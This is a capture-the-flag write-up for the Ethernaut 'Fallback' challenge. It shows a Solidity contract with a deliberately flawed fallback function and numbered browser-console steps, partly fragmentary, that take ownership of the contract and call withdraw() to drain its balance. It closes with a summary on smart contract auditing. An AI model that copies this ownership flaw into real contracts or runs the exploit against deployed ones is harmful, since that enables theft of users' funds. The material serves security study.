Motivations
Overview
Sources
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
fallback() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Here are the steps:
< - "0x9CB391dbcD447E645D6Cb55dE6ca23164130D008"
8. Check player address:
>> player
<- "0x9Aa43DEA4b71E291c22f35f46Cf28Df60D19Ca15"
9. Check the players' contribution, Array should be 0:
>> await contract.contributions(player)
10. Make a contribution of value = 1, metamask should load, confirm the transaction:
>> await contract.sendTransaction({value:1})
12. Finally, check the contract owner address, it should be yours!
>> contract.owner()
>> player
13. Time to drain the wallet since you now own the contract, metamask will appear twice, click confirm:
>> await contract.withdraw()
14. Click on Submit instance and confirm metamask transaction, you are done!
15. Game Over!
Closing Summary
There exist logic flaws in smart contracts that can be exploited by an attacker to completely drain the wallet. A smart contract audit should be able to identify the flaw by interacting with the smart contract. In this CTF, testing was done via a browser console, however, there exist other more intricate ways of buidling a virtual blockchain env for comprehensive testing of various smart contracts. Smart contracts are written in Solidity language, a tester should have knowledge in debugging this language with great attention to fine detail, the idea is to spot flaws in the smart contract that could be exploited by black hats. I believe the approach is similar to white box testing where a tester examines the code and runs it thru a series of debuggers designed to weed out bugs that could impact the security and integrity of the smart contract. Smart contract auditing is still a new thing but there are a few companies offering services for major Crypto companies looking to secure their blockchain contracts. I forsee that this skill will become more important for Cyber security professionals to master as blockchain technology in particularly used in Defi services are becoming more popular.
References
https://blog.positive.com/the-ethernaut-ctf-writeup-dc3021824abc
https://www.youtube.com/watch?v=2jmlT_JkMdI








